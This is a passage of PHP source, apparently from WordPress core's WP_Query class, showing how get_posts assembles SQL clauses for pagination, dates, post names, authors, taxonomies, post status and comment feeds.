			$q['posts_per_page'] = $q['posts_per_archive_page'];
		}
		if ( ! isset( $q['nopaging'] ) ) {
			if ( -1 == $q['posts_per_page'] ) {
				$q['nopaging'] = true;
			} else {
				$q['nopaging'] = false;
			}
		}

		if ( $this->is_feed ) {
			// This overrides 'posts_per_page'.
			if ( ! empty( $q['posts_per_rss'] ) ) {
				$q['posts_per_page'] = $q['posts_per_rss'];
			} else {
				$q['posts_per_page'] = get_option( 'posts_per_rss' );
			}
			$q['nopaging'] = false;
		}
		$q['posts_per_page'] = (int) $q['posts_per_page'];
		if ( $q['posts_per_page'] < -1 ) {
			$q['posts_per_page'] = abs( $q['posts_per_page'] );
		} elseif ( 0 == $q['posts_per_page'] ) {
			$q['posts_per_page'] = 1;
		}

		if ( ! isset( $q['comments_per_page'] ) || 0 == $q['comments_per_page'] ) {
			$q['comments_per_page'] = get_option( 'comments_per_page' );
		}

		if ( $this->is_home && ( empty( $this->query ) || 'true' === $q['preview'] ) && ( 'page' === get_option( 'show_on_front' ) ) && get_option( 'page_on_front' ) ) {
			$this->is_page = true;
			$this->is_home = false;
			$q['page_id']  = get_option( 'page_on_front' );
		}

		if ( isset( $q['page'] ) ) {
			$q['page'] = is_scalar( $q['page'] ) ? absint( trim( $q['page'], '/' ) ) : 0;
		}

		// If true, forcibly turns off SQL_CALC_FOUND_ROWS even when limits are present.
		if ( isset( $q['no_found_rows'] ) ) {
			$q['no_found_rows'] = (bool) $q['no_found_rows'];
		} else {
			$q['no_found_rows'] = false;
		}

		switch ( $q['fields'] ) {
			case 'ids':
				$fields = "{$wpdb->posts}.ID";
				break;
			case 'id=>parent':
				$fields = "{$wpdb->posts}.ID, {$wpdb->posts}.post_parent";
				break;
			default:
				$fields = "{$wpdb->posts}.*";
		}

		if ( '' !== $q['menu_order'] ) {
			$where .= " AND {$wpdb->posts}.menu_order = " . $q['menu_order'];
		}
		// The "m" parameter is meant for months but accepts datetimes of varying specificity.
		if ( $q['m'] ) {
			$where .= " AND YEAR({$wpdb->posts}.post_date)=" . substr( $q['m'], 0, 4 );
			if ( strlen( $q['m'] ) > 5 ) {
				$where .= " AND MONTH({$wpdb->posts}.post_date)=" . substr( $q['m'], 4, 2 );
			}
			if ( strlen( $q['m'] ) > 7 ) {
				$where .= " AND DAYOFMONTH({$wpdb->posts}.post_date)=" . substr( $q['m'], 6, 2 );
			}
			if ( strlen( $q['m'] ) > 9 ) {
				$where .= " AND HOUR({$wpdb->posts}.post_date)=" . substr( $q['m'], 8, 2 );
			}
			if ( strlen( $q['m'] ) > 11 ) {
				$where .= " AND MINUTE({$wpdb->posts}.post_date)=" . substr( $q['m'], 10, 2 );
			}
			if ( strlen( $q['m'] ) > 13 ) {
				$where .= " AND SECOND({$wpdb->posts}.post_date)=" . substr( $q['m'], 12, 2 );
			}
		}

		// Handle the other individual date parameters.
		$date_parameters = array();

		if ( '' !== $q['hour'] ) {
			$date_parameters['hour'] = $q['hour'];
		}

		if ( '' !== $q['minute'] ) {
			$date_parameters['minute'] = $q['minute'];
		}

		if ( '' !== $q['second'] ) {
			$date_parameters['second'] = $q['second'];
		}

		if ( $q['year'] ) {
			$date_parameters['year'] = $q['year'];
		}

		if ( $q['monthnum'] ) {
			$date_parameters['monthnum'] = $q['monthnum'];
		}

		if ( $q['w'] ) {
			$date_parameters['week'] = $q['w'];
		}

		if ( $q['day'] ) {
			$date_parameters['day'] = $q['day'];
		}

		if ( $date_parameters ) {
			$date_query = new WP_Date_Query( array( $date_parameters ) );
			$where     .= $date_query->get_sql();
		}
		unset( $date_parameters, $date_query );

		// Handle complex date queries.
		if ( ! empty( $q['date_query'] ) ) {
			$this->date_query = new WP_Date_Query( $q['date_query'] );
			$where           .= $this->date_query->get_sql();
		}

		// If we've got a post_type AND it's not "any" post_type.
		if ( ! empty( $q['post_type'] ) && 'any' !== $q['post_type'] ) {
			foreach ( (array) $q['post_type'] as $_post_type ) {
				$ptype_obj = get_post_type_object( $_post_type );
				if ( ! $ptype_obj || ! $ptype_obj->query_var || empty( $q[ $ptype_obj->query_var ] ) ) {
					continue;
				}

				if ( ! $ptype_obj->hierarchical ) {
					// Non-hierarchical post types can directly use 'name'.
					$q['name'] = $q[ $ptype_obj->query_var ];
				} else {
					// Hierarchical post types will operate through 'pagename'.
					$q['pagename'] = $q[ $ptype_obj->query_var ];
					$q['name']     = '';
				}

				// Only one request for a slug is possible, this is why name & pagename are overwritten above.
				break;
			} // End foreach.
			unset( $ptype_obj );
		}

		if ( '' !== $q['title'] ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_title = %s", stripslashes( $q['title'] ) );
		}

		// Parameters related to 'post_name'.
		if ( '' !== $q['name'] ) {
			$q['name'] = sanitize_title_for_query( $q['name'] );
			$where    .= " AND {$wpdb->posts}.post_name = '" . $q['name'] . "'";
		} elseif ( '' !== $q['pagename'] ) {
			if ( isset( $this->queried_object_id ) ) {
				$reqpage = $this->queried_object_id;
			} else {
				if ( 'page' !== $q['post_type'] ) {
					foreach ( (array) $q['post_type'] as $_post_type ) {
						$ptype_obj = get_post_type_object( $_post_type );
						if ( ! $ptype_obj || ! $ptype_obj->hierarchical ) {
							continue;
						}

						$reqpage = get_page_by_path( $q['pagename'], OBJECT, $_post_type );
						if ( $reqpage ) {
							break;
						}
					}
					unset( $ptype_obj );
				} else {
					$reqpage = get_page_by_path( $q['pagename'] );
				}
				if ( ! empty( $reqpage ) ) {
					$reqpage = $reqpage->ID;
				} else {
					$reqpage = 0;
				}
			}

			$page_for_posts = get_option( 'page_for_posts' );
			if ( ( 'page' !== get_option( 'show_on_front' ) ) || empty( $page_for_posts ) || ( $reqpage != $page_for_posts ) ) {
				$q['pagename'] = sanitize_title_for_query( wp_basename( $q['pagename'] ) );
				$q['name']     = $q['pagename'];
				$where        .= " AND ({$wpdb->posts}.ID = '$reqpage')";
				$reqpage_obj   = get_post( $reqpage );
				if ( is_object( $reqpage_obj ) && 'attachment' === $reqpage_obj->post_type ) {
					$this->is_attachment = true;
					$post_type           = 'attachment';
					$q['post_type']      = 'attachment';
					$this->is_page       = true;
					$q['attachment_id']  = $reqpage;
				}
			}
		} elseif ( '' !== $q['attachment'] ) {
			$q['attachment'] = sanitize_title_for_query( wp_basename( $q['attachment'] ) );
			$q['name']       = $q['attachment'];
			$where          .= " AND {$wpdb->posts}.post_name = '" . $q['attachment'] . "'";
		} elseif ( is_array( $q['post_name__in'] ) && ! empty( $q['post_name__in'] ) ) {
			$q['post_name__in'] = array_map( 'sanitize_title_for_query', $q['post_name__in'] );
			$post_name__in      = "'" . implode( "','", $q['post_name__in'] ) . "'";
			$where             .= " AND {$wpdb->posts}.post_name IN ($post_name__in)";
		}

		// If an attachment is requested by number, let it supersede any post number.
		if ( $q['attachment_id'] ) {
			$q['p'] = absint( $q['attachment_id'] );
		}

		// If a post number is specified, load that post.
		if ( $q['p'] ) {
			$where .= " AND {$wpdb->posts}.ID = " . $q['p'];
		} elseif ( $q['post__in'] ) {
			$post__in = implode( ',', array_map( 'absint', $q['post__in'] ) );
			$where   .= " AND {$wpdb->posts}.ID IN ($post__in)";
		} elseif ( $q['post__not_in'] ) {
			$post__not_in = implode( ',', array_map( 'absint', $q['post__not_in'] ) );
			$where       .= " AND {$wpdb->posts}.ID NOT IN ($post__not_in)";
		}

		if ( is_numeric( $q['post_parent'] ) ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_parent = %d ", $q['post_parent'] );
		} elseif ( $q['post_parent__in'] ) {
			$post_parent__in = implode( ',', array_map( 'absint', $q['post_parent__in'] ) );
			$where          .= " AND {$wpdb->posts}.post_parent IN ($post_parent__in)";
		} elseif ( $q['post_parent__not_in'] ) {
			$post_parent__not_in = implode( ',', array_map( 'absint', $q['post_parent__not_in'] ) );
			$where              .= " AND {$wpdb->posts}.post_parent NOT IN ($post_parent__not_in)";
		}

		if ( $q['page_id'] ) {
			if ( ( 'page' !== get_option( 'show_on_front' ) ) || ( get_option( 'page_for_posts' ) != $q['page_id'] ) ) {
				$q['p'] = $q['page_id'];
				$where  = " AND {$wpdb->posts}.ID = " . $q['page_id'];
			}
		}

		// If a search pattern is specified, load the posts that match.
		if ( strlen( $q['s'] ) ) {
			$search = $this->parse_search( $q );
		}

		if ( ! $q['suppress_filters'] ) {
			/**
			 * Filters the search SQL that is used in the WHERE clause of WP_Query.
			 *
			 * @since 3.0.0
			 *
			 * @param string   $search Search SQL for WHERE clause.
			 * @param WP_Query $query  The current WP_Query object.
			 */
			$search = apply_filters_ref_array( 'posts_search', array( $search, &$this ) );
		}

		// Taxonomies.
		if ( ! $this->is_singular ) {
			$this->parse_tax_query( $q );

			$clauses = $this->tax_query->get_sql( $wpdb->posts, 'ID' );

			$join  .= $clauses['join'];
			$where .= $clauses['where'];
		}

		if ( $this->is_tax ) {
			if ( empty( $post_type ) ) {
				// Do a fully inclusive search for currently registered post types of queried taxonomies.
				$post_type  = array();
				$taxonomies = array_keys( $this->tax_query->queried_terms );
				foreach ( get_post_types( array( 'exclude_from_search' => false ) ) as $pt ) {
					$object_taxonomies = 'attachment' === $pt ? get_taxonomies_for_attachments() : get_object_taxonomies( $pt );
					if ( array_intersect( $taxonomies, $object_taxonomies ) ) {
						$post_type[] = $pt;
					}
				}
				if ( ! $post_type ) {
					$post_type = 'any';
				} elseif ( count( $post_type ) === 1 ) {
					$post_type = $post_type[0];
				} else {
					// Sort post types to ensure same cache key generation.
					sort( $post_type );
				}

				$post_status_join = true;
			} elseif ( in_array( 'attachment', (array) $post_type, true ) ) {
				$post_status_join = true;
			}
		}

		/*
		 * Ensure that 'taxonomy', 'term', 'term_id', 'cat', and
		 * 'category_name' vars are set for backward compatibility.
		 */
		if ( ! empty( $this->tax_query->queried_terms ) ) {

			/*
			 * Set 'taxonomy', 'term', and 'term_id' to the
			 * first taxonomy other than 'post_tag' or 'category'.
			 */
			if ( ! isset( $q['taxonomy'] ) ) {
				foreach ( $this->tax_query->queried_terms as $queried_taxonomy => $queried_items ) {
					if ( empty( $queried_items['terms'][0] ) ) {
						continue;
					}

					if ( ! in_array( $queried_taxonomy, array( 'category', 'post_tag' ), true ) ) {
						$q['taxonomy'] = $queried_taxonomy;

						if ( 'slug' === $queried_items['field'] ) {
							$q['term'] = $queried_items['terms'][0];
						} else {
							$q['term_id'] = $queried_items['terms'][0];
						}

						// Take the first one we find.
						break;
					}
				}
			}

			// 'cat', 'category_name', 'tag_id'.
			foreach ( $this->tax_query->queried_terms as $queried_taxonomy => $queried_items ) {
				if ( empty( $queried_items['terms'][0] ) ) {
					continue;
				}

				if ( 'category' === $queried_taxonomy ) {
					$the_cat = get_term_by( $queried_items['field'], $queried_items['terms'][0], 'category' );
					if ( $the_cat ) {
						$this->set( 'cat', $the_cat->term_id );
						$this->set( 'category_name', $the_cat->slug );
					}
					unset( $the_cat );
				}

				if ( 'post_tag' === $queried_taxonomy ) {
					$the_tag = get_term_by( $queried_items['field'], $queried_items['terms'][0], 'post_tag' );
					if ( $the_tag ) {
						$this->set( 'tag_id', $the_tag->term_id );
					}
					unset( $the_tag );
				}
			}
		}

		if ( ! empty( $this->tax_query->queries ) || ! empty( $this->meta_query->queries ) || ! empty( $this->allow_query_attachment_by_filename ) ) {
			$groupby = "{$wpdb->posts}.ID";
		}

		// Author/user stuff.

		if ( ! empty( $q['author'] ) && '0' != $q['author'] ) {
			$q['author'] = addslashes_gpc( '' . urldecode( $q['author'] ) );
			$authors     = array_unique( array_map( 'intval', preg_split( '/[,\s]+/', $q['author'] ) ) );
			foreach ( $authors as $author ) {
				$key         = $author > 0 ? 'author__in' : 'author__not_in';
				$q[ $key ][] = abs( $author );
			}
			$q['author'] = implode( ',', $authors );
		}

		if ( ! empty( $q['author__not_in'] ) ) {
			$author__not_in = implode( ',', array_map( 'absint', array_unique( (array) $q['author__not_in'] ) ) );
			$where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
		} elseif ( ! empty( $q['author__in'] ) ) {
			$author__in = implode( ',', array_map( 'absint', array_unique( (array) $q['author__in'] ) ) );
			$where     .= " AND {$wpdb->posts}.post_author IN ($author__in) ";
		}

		// Author stuff for nice URLs.

		if ( '' !== $q['author_name'] ) {
			if ( str_contains( $q['author_name'], '/' ) ) {
				$q['author_name'] = explode( '/', $q['author_name'] );
				if ( $q['author_name'][ count( $q['author_name'] ) - 1 ] ) {
					$q['author_name'] = $q['author_name'][ count( $q['author_name'] ) - 1 ]; // No trailing slash.
				} else {
					$q['author_name'] = $q['author_name'][ count( $q['author_name'] ) - 2 ]; // There was a trailing slash.
				}
			}
			$q['author_name'] = sanitize_title_for_query( $q['author_name'] );
			$q['author']      = get_user_by( 'slug', $q['author_name'] );
			if ( $q['author'] ) {
				$q['author'] = $q['author']->ID;
			}
			$whichauthor .= " AND ({$wpdb->posts}.post_author = " . absint( $q['author'] ) . ')';
		}

		// Matching by comment count.
		if ( isset( $q['comment_count'] ) ) {
			// Numeric comment count is converted to array format.
			if ( is_numeric( $q['comment_count'] ) ) {
				$q['comment_count'] = array(
					'value' => (int) $q['comment_count'],
				);
			}

			if ( isset( $q['comment_count']['value'] ) ) {
				$q['comment_count'] = array_merge(
					array(
						'compare' => '=',
					),
					$q['comment_count']
				);

				// Fallback for invalid compare operators is '='.
				$compare_operators = array( '=', '!=', '>', '>=', '<', '<=' );
				if ( ! in_array( $q['comment_count']['compare'], $compare_operators, true ) ) {
					$q['comment_count']['compare'] = '=';
				}

				$where .= $wpdb->prepare( " AND {$wpdb->posts}.comment_count {$q['comment_count']['compare']} %d", $q['comment_count']['value'] );
			}
		}

		// MIME-Type stuff for attachment browsing.

		if ( isset( $q['post_mime_type'] ) && '' !== $q['post_mime_type'] ) {
			$whichmimetype = wp_post_mime_type_where( $q['post_mime_type'], $wpdb->posts );
		}
		$where .= $search . $whichauthor . $whichmimetype;

		if ( ! empty( $this->allow_query_attachment_by_filename ) ) {
			$join .= " LEFT JOIN {$wpdb->postmeta} AS sq1 ON ( {$wpdb->posts}.ID = sq1.post_id AND sq1.meta_key = '_wp_attached_file' )";
		}

		if ( ! empty( $this->meta_query->queries ) ) {
			$clauses = $this->meta_query->get_sql( 'post', $wpdb->posts, 'ID', $this );
			$join   .= $clauses['join'];
			$where  .= $clauses['where'];
		}

		$rand = ( isset( $q['orderby'] ) && 'rand' === $q['orderby'] );
		if ( ! isset( $q['order'] ) ) {
			$q['order'] = $rand ? '' : 'DESC';
		} else {
			$q['order'] = $rand ? '' : $this->parse_order( $q['order'] );
		}

		// These values of orderby should ignore the 'order' parameter.
		$force_asc = array( 'post__in', 'post_name__in', 'post_parent__in' );
		if ( isset( $q['orderby'] ) && in_array( $q['orderby'], $force_asc, true ) ) {
			$q['order'] = '';
		}

		// Order by.
		if ( empty( $q['orderby'] ) ) {
			/*
			 * Boolean false or empty array blanks out ORDER BY,
			 * while leaving the value unset or otherwise empty sets the default.
			 */
			if ( isset( $q['orderby'] ) && ( is_array( $q['orderby'] ) || false === $q['orderby'] ) ) {
				$orderby = '';
			} else {
				$orderby = "{$wpdb->posts}.post_date " . $q['order'];
			}
		} elseif ( 'none' === $q['orderby'] ) {
			$orderby = '';
		} else {
			$orderby_array = array();
			if ( is_array( $q['orderby'] ) ) {
				foreach ( $q['orderby'] as $_orderby => $order ) {
					$orderby = addslashes_gpc( urldecode( $_orderby ) );
					$parsed  = $this->parse_orderby( $orderby );

					if ( ! $parsed ) {
						continue;
					}

					$orderby_array[] = $parsed . ' ' . $this->parse_order( $order );
				}
				$orderby = implode( ', ', $orderby_array );

			} else {
				$q['orderby'] = urldecode( $q['orderby'] );
				$q['orderby'] = addslashes_gpc( $q['orderby'] );

				foreach ( explode( ' ', $q['orderby'] ) as $i => $orderby ) {
					$parsed = $this->parse_orderby( $orderby );
					// Only allow certain values for safety.
					if ( ! $parsed ) {
						continue;
					}

					$orderby_array[] = $parsed;
				}
				$orderby = implode( ' ' . $q['order'] . ', ', $orderby_array );

				if ( empty( $orderby ) ) {
					$orderby = "{$wpdb->posts}.post_date " . $q['order'];
				} elseif ( ! empty( $q['order'] ) ) {
					$orderby .= " {$q['order']}";
				}
			}
		}

		// Order search results by relevance only when another "orderby" is not specified in the query.
		if ( ! empty( $q['s'] ) ) {
			$search_orderby = '';
			if ( ! empty( $q['search_orderby_title'] ) && ( empty( $q['orderby'] ) && ! $this->is_feed ) || ( isset( $q['orderby'] ) && 'relevance' === $q['orderby'] ) ) {
				$search_orderby = $this->parse_search_order( $q );
			}

			if ( ! $q['suppress_filters'] ) {
				/**
				 * Filters the ORDER BY used when ordering search results.
				 *
				 * @since 3.7.0
				 *
				 * @param string   $search_orderby The ORDER BY clause.
				 * @param WP_Query $query          The current WP_Query instance.
				 */
				$search_orderby = apply_filters( 'posts_search_orderby', $search_orderby, $this );
			}

			if ( $search_orderby ) {
				$orderby = $orderby ? $search_orderby . ', ' . $orderby : $search_orderby;
			}
		}

		if ( is_array( $post_type ) && count( $post_type ) > 1 ) {
			$post_type_cap = 'multiple_post_type';
		} else {
			if ( is_array( $post_type ) ) {
				$post_type = reset( $post_type );
			}
			$post_type_object = get_post_type_object( $post_type );
			if ( empty( $post_type_object ) ) {
				$post_type_cap = $post_type;
			}
		}

		if ( isset( $q['post_password'] ) ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_password = %s", $q['post_password'] );
			if ( empty( $q['perm'] ) ) {
				$q['perm'] = 'readable';
			}
		} elseif ( isset( $q['has_password'] ) ) {
			$where .= sprintf( " AND {$wpdb->posts}.post_password %s ''", $q['has_password'] ? '!=' : '=' );
		}

		if ( ! empty( $q['comment_status'] ) ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.comment_status = %s ", $q['comment_status'] );
		}

		if ( ! empty( $q['ping_status'] ) ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.ping_status = %s ", $q['ping_status'] );
		}

		$skip_post_status = false;
		if ( 'any' === $post_type ) {
			$in_search_post_types = get_post_types( array( 'exclude_from_search' => false ) );
			if ( empty( $in_search_post_types ) ) {
				$post_type_where  = ' AND 1=0 ';
				$skip_post_status = true;
			} else {
				$post_type_where = " AND {$wpdb->posts}.post_type IN ('" . implode( "', '", array_map( 'esc_sql', $in_search_post_types ) ) . "')";
			}
		} elseif ( ! empty( $post_type ) && is_array( $post_type ) ) {
			// Sort post types to ensure same cache key generation.
			sort( $post_type );
			$post_type_where = " AND {$wpdb->posts}.post_type IN ('" . implode( "', '", esc_sql( $post_type ) ) . "')";
		} elseif ( ! empty( $post_type ) ) {
			$post_type_where  = $wpdb->prepare( " AND {$wpdb->posts}.post_type = %s", $post_type );
			$post_type_object = get_post_type_object( $post_type );
		} elseif ( $this->is_attachment ) {
			$post_type_where  = " AND {$wpdb->posts}.post_type = 'attachment'";
			$post_type_object = get_post_type_object( 'attachment' );
		} elseif ( $this->is_page ) {
			$post_type_where  = " AND {$wpdb->posts}.post_type = 'page'";
			$post_type_object = get_post_type_object( 'page' );
		} else {
			$post_type_where  = " AND {$wpdb->posts}.post_type = 'post'";
			$post_type_object = get_post_type_object( 'post' );
		}

		$edit_cap = 'edit_post';
		$read_cap = 'read_post';

		if ( ! empty( $post_type_object ) ) {
			$edit_others_cap  = $post_type_object->cap->edit_others_posts;
			$read_private_cap = $post_type_object->cap->read_private_posts;
		} else {
			$edit_others_cap  = 'edit_others_' . $post_type_cap . 's';
			$read_private_cap = 'read_private_' . $post_type_cap . 's';
		}

		$user_id = get_current_user_id();

		$q_status = array();
		if ( $skip_post_status ) {
			$where .= $post_type_where;
		} elseif ( ! empty( $q['post_status'] ) ) {

			$where .= $post_type_where;

			$statuswheres = array();
			$q_status     = $q['post_status'];
			if ( ! is_array( $q_status ) ) {
				$q_status = explode( ',', $q_status );
			}
			$r_status = array();
			$p_status = array();
			$e_status = array();
			if ( in_array( 'any', $q_status, true ) ) {
				foreach ( get_post_stati( array( 'exclude_from_search' => true ) ) as $status ) {
					if ( ! in_array( $status, $q_status, true ) ) {
						$e_status[] = "{$wpdb->posts}.post_status <> '$status'";
					}
				}
			} else {
				foreach ( get_post_stati() as $status ) {
					if ( in_array( $status, $q_status, true ) ) {
						if ( 'private' === $status ) {
							$p_status[] = "{$wpdb->posts}.post_status = '$status'";
						} else {
							$r_status[] = "{$wpdb->posts}.post_status = '$status'";
						}
					}
				}
			}

			if ( empty( $q['perm'] ) || 'readable' !== $q['perm'] ) {
				$r_status = array_merge( $r_status, $p_status );
				unset( $p_status );
			}

			if ( ! empty( $e_status ) ) {
				$statuswheres[] = '(' . implode( ' AND ', $e_status ) . ')';
			}
			if ( ! empty( $r_status ) ) {
				if ( ! empty( $q['perm'] ) && 'editable' === $q['perm'] && ! current_user_can( $edit_others_cap ) ) {
					$statuswheres[] = "({$wpdb->posts}.post_author = $user_id " . 'AND (' . implode( ' OR ', $r_status ) . '))';
				} else {
					$statuswheres[] = '(' . implode( ' OR ', $r_status ) . ')';
				}
			}
			if ( ! empty( $p_status ) ) {
				if ( ! empty( $q['perm'] ) && 'readable' === $q['perm'] && ! current_user_can( $read_private_cap ) ) {
					$statuswheres[] = "({$wpdb->posts}.post_author = $user_id " . 'AND (' . implode( ' OR ', $p_status ) . '))';
				} else {
					$statuswheres[] = '(' . implode( ' OR ', $p_status ) . ')';
				}
			}
			if ( $post_status_join ) {
				$join .= " LEFT JOIN {$wpdb->posts} AS p2 ON ({$wpdb->posts}.post_parent = p2.ID) ";
				foreach ( $statuswheres as $index => $statuswhere ) {
					$statuswheres[ $index ] = "($statuswhere OR ({$wpdb->posts}.post_status = 'inherit' AND " . str_replace( $wpdb->posts, 'p2', $statuswhere ) . '))';
				}
			}
			$where_status = implode( ' OR ', $statuswheres );
			if ( ! empty( $where_status ) ) {
				$where .= " AND ($where_status)";
			}
		} elseif ( ! $this->is_singular ) {
			if ( 'any' === $post_type ) {
				$queried_post_types = get_post_types( array( 'exclude_from_search' => false ) );
			} elseif ( is_array( $post_type ) ) {
				$queried_post_types = $post_type;
			} elseif ( ! empty( $post_type ) ) {
				$queried_post_types = array( $post_type );
			} else {
				$queried_post_types = array( 'post' );
			}

			if ( ! empty( $queried_post_types ) ) {
				sort( $queried_post_types );
				$status_type_clauses = array();

				foreach ( $queried_post_types as $queried_post_type ) {

					$queried_post_type_object = get_post_type_object( $queried_post_type );

					$type_where = '(' . $wpdb->prepare( "{$wpdb->posts}.post_type = %s AND (", $queried_post_type );

					// Public statuses.
					$public_statuses = get_post_stati( array( 'public' => true ) );
					$status_clauses  = array();
					foreach ( $public_statuses as $public_status ) {
						$status_clauses[] = "{$wpdb->posts}.post_status = '$public_status'";
					}
					$type_where .= implode( ' OR ', $status_clauses );

					// Add protected states that should show in the admin all list.
					if ( $this->is_admin ) {
						$admin_all_statuses = get_post_stati(
							array(
								'protected'              => true,
								'show_in_admin_all_list' => true,
							)
						);
						foreach ( $admin_all_statuses as $admin_all_status ) {
							$type_where .= " OR {$wpdb->posts}.post_status = '$admin_all_status'";
						}
					}

					// Add private states that are visible to current user.
					if ( is_user_logged_in() && $queried_post_type_object instanceof WP_Post_Type ) {
						$read_private_cap = $queried_post_type_object->cap->read_private_posts;
						$private_statuses = get_post_stati( array( 'private' => true ) );
						foreach ( $private_statuses as $private_status ) {
							$type_where .= current_user_can( $read_private_cap ) ? " \nOR {$wpdb->posts}.post_status = '$private_status'" : " \nOR ({$wpdb->posts}.post_author = $user_id AND {$wpdb->posts}.post_status = '$private_status')";
						}
					}

					$type_where .= '))';

					$status_type_clauses[] = $type_where;
				}

				if ( ! empty( $status_type_clauses ) ) {
					$where .= ' AND (' . implode( ' OR ', $status_type_clauses ) . ')';
				}
			} else {
				$where .= ' AND 1=0 ';
			}
		} else {
			$where .= $post_type_where;
		}

		/*
		 * Apply filters on where and join prior to paging so that any
		 * manipulations to them are reflected in the paging by day queries.
		 */
		if ( ! $q['suppress_filters'] ) {
			/**
			 * Filters the WHERE clause of the query.
			 *
			 * @since 1.5.0
			 *
			 * @param string   $where The WHERE clause of the query.
			 * @param WP_Query $query The WP_Query instance (passed by reference).
			 */
			$where = apply_filters_ref_array( 'posts_where', array( $where, &$this ) );

			/**
			 * Filters the JOIN clause of the query.
			 *
			 * @since 1.5.0
			 *
			 * @param string   $join  The JOIN clause of the query.
			 * @param WP_Query $query The WP_Query instance (passed by reference).
			 */
			$join = apply_filters_ref_array( 'posts_join', array( $join, &$this ) );
		}

		// Paging.
		if ( empty( $q['nopaging'] ) && ! $this->is_singular ) {
			$page = absint( $q['paged'] );
			if ( ! $page ) {
				$page = 1;
			}

			// If 'offset' is provided, it takes precedence over 'paged'.
			if ( isset( $q['offset'] ) && is_numeric( $q['offset'] ) ) {
				$q['offset'] = absint( $q['offset'] );
				$pgstrt      = $q['offset'] . ', ';
			} else {
				$pgstrt = absint( ( $page - 1 ) * $q['posts_per_page'] ) . ', ';
			}
			$limits = 'LIMIT ' . $pgstrt . $q['posts_per_page'];
		}

		// Comments feeds.
		if ( $this->is_comment_feed && ! $this->is_singular ) {
			if ( $this->is_archive || $this->is_search ) {
				$cjoin    = "JOIN {$wpdb->posts} ON ( {$wpdb->comments}.comment_post_ID = {$wpdb->posts}.ID ) $join ";
				$cwhere   = "WHERE comment_approved = '1' $where";
				$cgroupby = "{$wpdb->comments}.comment_id";
			} else { // Other non-singular, e.g. front.
				$cjoin    = "JOIN {$wpdb->posts} ON ( {$wpdb->comments}.comment_post_ID = {$wpdb->posts}.ID )";
				$cwhere   = "WHERE ( post_status = 'publish' OR ( post_status = 'inherit' AND post_type = 'attachment' ) ) AND comment_approved = '1'";
				$cgroupby = '';
			}

			if ( ! $q['suppress_filters'] ) {
				/**
				 * Filters the JOIN clause of the comments feed query before sending.
				 *
				 * @since 2.2.0
				 *
				 * @param string   $cjoin The JOIN clause of the query.
				 * @param WP_Query $query The WP_Query instance (passed by reference).
				 */
				$cjoin = apply_filters_ref_array( 'comment_feed_join', array( $cjoin, &$this ) );

				/**
				 * Filters the WHERE clause of the comments feed query before sending.
				 *
				 * @since 2.2.0
				 *
				 * @param string   $cwhere The WHERE clause of the query.
				 * @param WP_Query $query  The WP_Query instance (passed by reference).
				 */
				$cwhere = apply_filters_ref_array( 'comment_feed_where', array( $cwhere, &$this ) );

				/**
				 * Filters the GROUP BY clause of the comments feed query before sending.
				 *
				 * @since 2.2.0
				 *
				 * @param string   $cgroupby The GROUP BY clause of the query.
				 * @param WP_Query $query    The WP_Query instance (passed by reference).
				 */
				$cgroupby = apply_filters_ref_array( 'comment_feed_groupby', array( $cgroupby, &$this ) );

				/**
				 * Filters the ORDER BY clause of the comments feed query before sending.
				 *
				 * @since 2.8.0
				 *
				 * @param string   $corderby The ORDER BY clause of the query.
				 * @param WP_Query $query    The WP_Query instance (passed by reference).
				 */
				$corderby = apply_filters_ref_array( 'comment_feed_orderby', array( 'comment_date_gmt DESC', &$this ) );

				/**
				 * Filters the LIMIT clause of the comments feed query before sending.
				 *
				 * @since 2.8.0
				 *
				 * @param string   $climits The JOIN clause of the query.
				 * @param WP_Query $query   The WP_Query instance (passed by reference).
				 */
				$climits = apply_filters_ref_array( 'comment_feed_limits', array( 'LIMIT ' . get_option( 'posts_per_rss' ), &$this ) );
			}

			$cgroupby = ( ! empty( $cgroupby ) ) ? 'GROUP BY ' . $cgroupby : '';
			$corderby = ( ! empty( $corderby ) ) ? 'ORDER BY ' . $corderby : '';
			$climits  = ( ! empty( $climits ) ) ? $climits : '';

			$comments_request = "SELECT $distinct {$wpdb->comments}.comment_ID FROM {$wpdb->comments} $cjoin $cwhere $cgroupby $corderby $climits";

			$key          = md5( $comments_request );
			$last_changed = wp_cache_get_last_changed( 'comment' ) . ':' . wp_cache_get_last_changed( 'posts' );

			$cache_key   = "comment_feed:$key:$last_changed";
			$comment_ids = wp_cache_get( $cache_key, 'comment-queries' );
			if ( false === $comment_ids ) {
				$comment_ids = $wpdb->get_col( $comments_request );
				wp_cache_add( $cache_key, $comment_ids, 'comment-queries' );
			}
			_prime_comment_caches( $comment_ids );

			// Convert to WP_Comment.
			/** @var WP_Comment[] */
			$this->comments      = array_map( 'get_comment', $comment_ids );
			$this->comment_count = count( $this->comments );

			$post_ids = array();

			foreach ( $this->comments as $comment ) {
				$post_ids[] = (int) $comment->comment_post_ID;
			}

			$post_ids = implode( ',', $post_ids );
			$join     = '';
			if ( $post_ids ) {
				$where = "AND {$wpdb->posts}.ID IN ($post_ids) ";
			} else {
				$where = 'AND 0';
			}
		}

		$pieces = array( 'where', 'groupby', 'join', 'orderby', 'distinct', 'fields', 'limits' );

		/*
		 * Apply post-paging filters on where and join. Only plugins that
		 * manipulate paging queries should use these hooks.
		 */
		if ( ! $q['suppress_filters'] ) {
			/**
			 * Filters the WHERE clause of the query.
			 *
			 * Specifically for manipulating paging queries.
			 *
			 * @since 1.5.0
			 *
			 * @param string   $where The WHERE clause of the query.
			 * @param WP_Query $query The WP_Query instance (passed by reference).
			 */
			$where = apply_filters_ref_array( 'posts_where_paged', array( $where, &$this ) );

			/**
			 * Filters the GROUP BY clause of the query.
			 *
			 * @since 2.0.0
			 *
			 * @param string   $groupby The GROUP BY clause of the query.
			 * @param WP_Query $query   The WP_Query instance (passed by reference).
			 */
			$groupby = apply_filters_ref_array( 'posts_groupby', array( $groupby, &$this ) );

			/**
			 * Filters the JOIN clause of the query.
			 *
			 * Specifically for manipulating paging queries.
			 *
			 * @since 1.5.0
			 *
			 * @param string   $join  The JOIN clause of the query.
			 * @param WP_Query $query The WP_Query instance (passed by reference).
			 */
			$join = apply_filters_ref_array( 'posts_join_paged', array( $join, &$this ) );

			/**
			 * Filters the ORDER BY clause of the query.
			 *
			 * @since 1.5.1
			 *
